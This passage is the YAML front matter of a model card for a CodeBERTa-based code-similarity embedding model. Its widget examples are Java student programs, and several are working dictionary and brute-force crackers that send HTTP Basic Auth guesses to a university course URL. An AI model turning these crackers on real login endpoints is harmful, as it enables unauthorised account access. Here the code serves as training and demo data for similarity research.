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--- |
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tags: |
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- sentence-transformers |
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- sentence-similarity |
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- feature-extraction |
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- generated_from_trainer |
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- dataset_size:42960 |
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- loss:BatchAllTripletLoss |
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- loss:TripletLoss |
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base_model: huggingface/CodeBERTa-small-v1 |
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widget: |
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- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\ |
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\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\ |
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\ status = false;\n\n public static void main (String args[]){\n Dictionary\ |
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\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
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,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\ |
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);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ |
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\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ |
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\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\ |
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\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\ |
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\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\ |
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\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\ |
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\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\ |
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File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\ |
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\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \ |
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\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\ |
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\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\ |
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\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\ |
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\ status = true;\n }\n }\n catch (IOException e)\ |
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\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\ |
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\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ |
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\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ |
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\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ |
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\ String userNamePasswordBase64(String username, String password) {\n return\ |
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\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ |
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\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ |
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\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ |
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\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ |
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\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ |
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\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ |
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\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ |
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\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ |
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\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ |
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\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ |
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\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ |
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\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ |
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\ {\n b3 = 0;\n pad = 1;\n }\n else\n\ |
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\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ |
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\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ |
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\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
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\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ |
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\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ |
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\ encodedString += base64Array [c4];\n break;\n case 1:\n\ |
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\ encodedString += base64Array [c3];\n encodedString += \"=\"\ |
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;\n break;\n case 2:\n encodedString += \"==\";\n \ |
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\ break;\n }\n }\n return encodedString;\n }\n }\n\n" |
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sentences: |
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- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\ |
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\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ |
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\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ |
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\ void attack(String args[]) {\n try {\n String login = new String(\"\"\ |
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);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
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);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ |
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\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ |
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\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ |
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\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ |
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Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ |
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\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ |
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\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ |
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\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ |
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\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ |
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\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ |
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\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ |
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\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ |
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\ dictionary word and waiting for URL reply....... \");\n String currentword\ |
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\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ |
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\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ |
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\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ |
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\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ |
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\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ |
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\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ |
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, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ |
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\ }\n\n\n public String userNamePasswordBase64(String username, String password)\ |
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\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ |
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\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ |
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\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ |
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\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ |
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\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ |
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\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ |
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\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ |
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\ base64Encode (String string) {\n String encodedString = \"\";\n byte\ |
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\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ |
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\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \ |
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\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\ |
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\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ |
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\ if (i >= bytes.length) {\n b3 = 0;\n pad =\ |
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\ 1;\n }\n else\n b3 = bytes [i++];\n \ |
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\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ |
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\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\ |
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\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ |
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\ encodedString += base64Array [c2];\n switch (pad) {\n case\ |
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\ 0:\n encodedString += base64Array [c3];\n encodedString +=\ |
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\ base64Array [c4];\n break;\n case 1:\n encodedString\ |
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\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ |
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\ case 2:\n encodedString += \"==\";\n break;\n \ |
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\ }\n }\n return encodedString;\n }\n }\n\n" |
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- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\ |
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\ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ |
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\ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ |
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\ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ |
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\ try {\n\n String login = new String(\"\");\n String url = new String(\"\ |
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http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ |
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\ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ |
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\ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ |
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\ String line;\n while ((line = in.readLine()) != null) {\n \ |
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\ System.out.println(line);\n }\n System.out.println(\"\ |
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Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ |
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\ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ |
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\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ |
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\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ |
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\ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ |
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\ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ |
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Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ |
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\ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ |
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\ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ |
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\ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ |
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\ String();\n String c2 = new String();\n String c3 = new String();\n \ |
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\ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \ |
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\ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\ |
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\ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\ |
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\ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\ |
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\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\ |
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\ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\ |
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\ openURLForInput (URL url, String uname, String pword)\n throws IOException \ |
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\ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\ |
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\ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \ |
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\ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\ |
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\ username, String password) {\n return \" \" + base64Encode (username + \"\ |
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:\" + password);\n }\n\n private final static char base64Array [] = {\n \ |
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\ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\ |
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\ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\ |
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\ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\ |
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\ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\ |
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\ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\ |
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\n private static String base64Encode (String string) {\n String encodedString\ |
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\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\ |
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\ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \ |
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\ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\ |
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\ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ |
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\ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ |
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\ = 0;\n pad = 1;\n }\n else\n b3\ |
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\ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ |
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\ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\ |
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\ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
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\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ |
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\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ |
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\ encodedString += base64Array [c4];\n break;\n case 1:\n\ |
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\ encodedString += base64Array [c3];\n encodedString += \"=\"\ |
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;\n break;\n case 2:\n encodedString += \"==\";\n \ |
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\ break;\n }\n }\n return encodedString;\n }\n }\n" |
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- "import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\n\ |
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import java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\ |
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\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\n\ |
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import javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\n\ |
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import javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n \ |
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\ static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(\"smtpServer\"\ |
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);\n static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(\"\ |
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recipient\");\n static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(\"\ |
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sender\");\n static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(\"\ |
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messageHeader\");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ |
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\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip\ |
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\ = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject\ |
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\ = MESSAGE_HEADER;\n\t\t\tString body = \"Testing\";\n\n\t\t\tSystem.out.println(\"\ |
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Started sending the message\");\n\t\t\tMailsend.send(smtpServer,recip , from,\ |
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\ subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\ |
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\t\t\t\t\"Usage: java mailsend\"\n\t\t\t\t\t+ \" smtpServer toAddress fromAddress\ |
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\ subjectText bodyText\");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic\ |
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\ static void send(String smtpServer, String receiver,\tString from, String subject,\ |
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\ String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\ |
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\n\t\t\t\n\n\t\t\tprops.put(\"mail.smtp.host\", smtpServer);\n\t\t\tprops.put(\"\ |
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mail.smtp.timeout\", \"20000\");\n\t\t\tprops.put(\"mail.smtp.connectiontimeout\"\ |
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, \"20000\");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props,\ |
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\ null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\ |
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\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\t\ |
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InternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\ |
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\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\ |
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\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println(\"sent the email with the\ |
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\ differences : \"+ + \"using the mail server: \"+ smtpServer);\n\n\t\t}\n\t\t\ |
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catch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n" |
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- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\ |
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\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\ |
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\ status = false;\n\n public static void main (String args[]){\n Dictionary\ |
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\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
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,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\ |
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);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ |
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\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ |
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\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\ |
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\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\ |
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\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\ |
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\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\ |
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\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\ |
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File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\ |
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\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \ |
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\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\ |
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\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\ |
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\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\ |
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\ status = true;\n }\n }\n catch (IOException e)\ |
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\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\ |
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\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ |
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\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ |
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\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ |
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\ String userNamePasswordBase64(String username, String password) {\n return\ |
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\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ |
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\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ |
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\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ |
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\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ |
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\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ |
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\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ |
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\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ |
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\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ |
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\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ |
|
|
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ |
|
|
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ |
|
|
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ |
|
|
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\ |
|
|
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ |
|
|
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ |
|
|
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
|
|
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ |
|
|
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ |
|
|
\ encodedString += base64Array [c4];\n break;\n case 1:\n\ |
|
|
\ encodedString += base64Array [c3];\n encodedString += \"=\"\ |
|
|
;\n break;\n case 2:\n encodedString += \"==\";\n \ |
|
|
\ break;\n }\n }\n return encodedString;\n }\n }\n\n" |
|
|
sentences: |
|
|
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\ |
|
|
\ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ |
|
|
\ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ |
|
|
\ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ |
|
|
\ try {\n\n String login = new String(\"\");\n String url = new String(\"\ |
|
|
http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ |
|
|
\ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ |
|
|
\ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ |
|
|
\ String line;\n while ((line = in.readLine()) != null) {\n \ |
|
|
\ System.out.println(line);\n }\n System.out.println(\"\ |
|
|
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ |
|
|
\ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ |
|
|
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ |
|
|
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ |
|
|
\ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ |
|
|
\ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ |
|
|
Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ |
|
|
\ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ |
|
|
\ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ |
|
|
\ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ |
|
|
\ String();\n String c2 = new String();\n String c3 = new String();\n \ |
|
|
\ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \ |
|
|
\ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\ |
|
|
\ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\ |
|
|
\ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\ |
|
|
\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\ |
|
|
\ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\ |
|
|
\ openURLForInput (URL url, String uname, String pword)\n throws IOException \ |
|
|
\ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\ |
|
|
\ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \ |
|
|
\ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\ |
|
|
\ username, String password) {\n return \" \" + base64Encode (username + \"\ |
|
|
:\" + password);\n }\n\n private final static char base64Array [] = {\n \ |
|
|
\ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\ |
|
|
\ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\ |
|
|
\ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\ |
|
|
\ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\ |
|
|
\ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\ |
|
|
\n private static String base64Encode (String string) {\n String encodedString\ |
|
|
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\ |
|
|
\ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \ |
|
|
\ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\ |
|
|
\ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ |
|
|
\ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ |
|
|
\ = 0;\n pad = 1;\n }\n else\n b3\ |
|
|
\ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ |
|
|
\ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\ |
|
|
\ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
|
|
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ |
|
|
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ |
|
|
\ encodedString += base64Array [c4];\n break;\n case 1:\n\ |
|
|
\ encodedString += base64Array [c3];\n encodedString += \"=\"\ |
|
|
;\n break;\n case 2:\n encodedString += \"==\";\n \ |
|
|
\ break;\n }\n }\n return encodedString;\n }\n }\n" |
|
|
- "\npublic class CasePasswords\n{\n\n \n static int verbose = CrackingConstants.quietMode;\n\ |
|
|
\n \n\t\n\tpublic void CasePasswords()\n\t{\n }\n\n\t\n\tpublic void CasePasswords(int\ |
|
|
\ inVerbose)\n\t{\n\t verbose = inVerbose;\n }\n\n\t\n public String\ |
|
|
\ [] createCasedPasswords( int leftIndex, int midIndex, int rightIndex, String\ |
|
|
\ tail, String [] lowerChars, String [] upperChars, int scanType)\n {\n \ |
|
|
\ String [] casedPasswords = null;\n \n \n \n \ |
|
|
\ if(scanType == CrackingConstants.casedScan)\n if(rightIndex > -1)\n\ |
|
|
\ {\n \n casedPasswords = new String[8];\n\ |
|
|
\ }\n else if(midIndex > -1)\n {\n \ |
|
|
\ \n casedPasswords = new String[4];\n }\n \ |
|
|
\ else\n {\n \n casedPasswords\ |
|
|
\ = new String[2];\n }\n else \n {\n \n \ |
|
|
\ casedPasswords = new String[1];\n }\t\n \n \ |
|
|
\ \n \n \n if(scanType == CrackingConstants.casedScan)\n\ |
|
|
\ {\n if(rightIndex > -1)\n {\n \n\ |
|
|
\ casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex]\ |
|
|
\ + lowerChars[rightIndex];\n casedPasswords[1] = upperChars[leftIndex]\ |
|
|
\ + upperChars[midIndex] + upperChars[rightIndex];\n casedPasswords[2]\ |
|
|
\ = lowerChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];\n \ |
|
|
\ casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex]\ |
|
|
\ + lowerChars[rightIndex];\n casedPasswords[4] = upperChars[leftIndex]\ |
|
|
\ + lowerChars[midIndex] + lowerChars[rightIndex];\n casedPasswords[5]\ |
|
|
\ = upperChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];\n \ |
|
|
\ casedPasswords[6] = upperChars[leftIndex] + lowerChars[midIndex]\ |
|
|
\ + upperChars[rightIndex];\n casedPasswords[7] = lowerChars[leftIndex]\ |
|
|
\ + upperChars[midIndex] + upperChars[rightIndex];\n }\n \ |
|
|
\ else if(midIndex > -1)\n {\n \n casedPasswords[0]\ |
|
|
\ = lowerChars[leftIndex] + lowerChars[midIndex];\n casedPasswords[1]\ |
|
|
\ = upperChars[leftIndex] + upperChars[midIndex];\n casedPasswords[2]\ |
|
|
\ = lowerChars[leftIndex] + lowerChars[midIndex];\n casedPasswords[3]\ |
|
|
\ = lowerChars[leftIndex] + upperChars[midIndex];\n }\n \ |
|
|
\ else\n {\n \n casedPasswords[0] = lowerChars[leftIndex];\n\ |
|
|
\ casedPasswords[1] = upperChars[leftIndex];\n }\n \ |
|
|
\ }\n else\t\n {\n if(rightIndex > -1)\n \ |
|
|
\ {\n \n casedPasswords[0] = lowerChars[leftIndex]\ |
|
|
\ + lowerChars[midIndex] + lowerChars[rightIndex];\n }\n \ |
|
|
\ else if(midIndex > -1)\n {\n \n casedPasswords[0]\ |
|
|
\ = lowerChars[leftIndex] + lowerChars[midIndex];\n }\n \ |
|
|
\ else\n {\n \n casedPasswords[0] = lowerChars[leftIndex];\n\ |
|
|
\ }\n }\t\n \n \n \n \n \n\ |
|
|
\ if(\"\" != tail)\n \tfor( i = 0; i < casedPasswords.length; i++)\n\ |
|
|
\ \t\tcasedPasswords[i] += tail;\n \n\t if(verbose\ |
|
|
\ == CrackingConstants.verboseMode2)\n\t printPasswords(casedPasswords);\n\ |
|
|
\n return casedPasswords;\n } \n \n\t\n public String [] createCasedPasswords(String\ |
|
|
\ candidate, int scanType)\n {\n \n int candLength = candidate.length();\n\ |
|
|
\ int arrayLength = 2 ^ candLength;\n arrayLength = 1;\n \ |
|
|
\ String [] shortCasedPasswords = new String[1];\n String [] casedPasswords\ |
|
|
\ = null;\n char[] password = new char [candidate.length()];\n \n\ |
|
|
\ \n if(scanType != CrackingConstants.simpleScan)\n candidate.getChars(0,\ |
|
|
\ candidate.length(), password, 0);\n \n \n \n \n\ |
|
|
\ \n \n \n \n \n \n if(scanType\ |
|
|
\ == CrackingConstants.simpleScan)\n {\n \n \n \ |
|
|
\ casedPasswords = new String[1];\n casedPasswords[0] = candidate;\n\ |
|
|
\ }\n else if(candidate.length() == 1)\n {\n casedPasswords\ |
|
|
\ = new String[2];\n casedPasswords[0] = Character.toString(Character.toLowerCase(password[0]));\n\ |
|
|
\ casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]));\n\ |
|
|
\ \n }\n else if (candidate.length() == 2)\n {\n\ |
|
|
\ casedPasswords = new String[4];\n casedPasswords[0] =\ |
|
|
\ Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));\n\ |
|
|
\ casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]))\ |
|
|
\ + Character.toString(Character.toUpperCase(password[1]));\n casedPasswords[2]\ |
|
|
\ = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));\n\ |
|
|
\ casedPasswords[3] = Character.toString(Character.toUpperCase(password[0]))\ |
|
|
\ + Character.toString(Character.toLowerCase(password[1]));\n \n \ |
|
|
\ }\n else if (candidate.length() == 3)\n {\n casedPasswords\ |
|
|
\ = new String[8];\n casedPasswords[0] = Character.toLowerCase(password[0])\ |
|
|
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]);\n\ |
|
|
\ casedPasswords[1] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\ |
|
|
\ + Character.toUpperCase(password[2]);\n casedPasswords[2] = Character.toLowerCase(password[0])\ |
|
|
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]);\n\ |
|
|
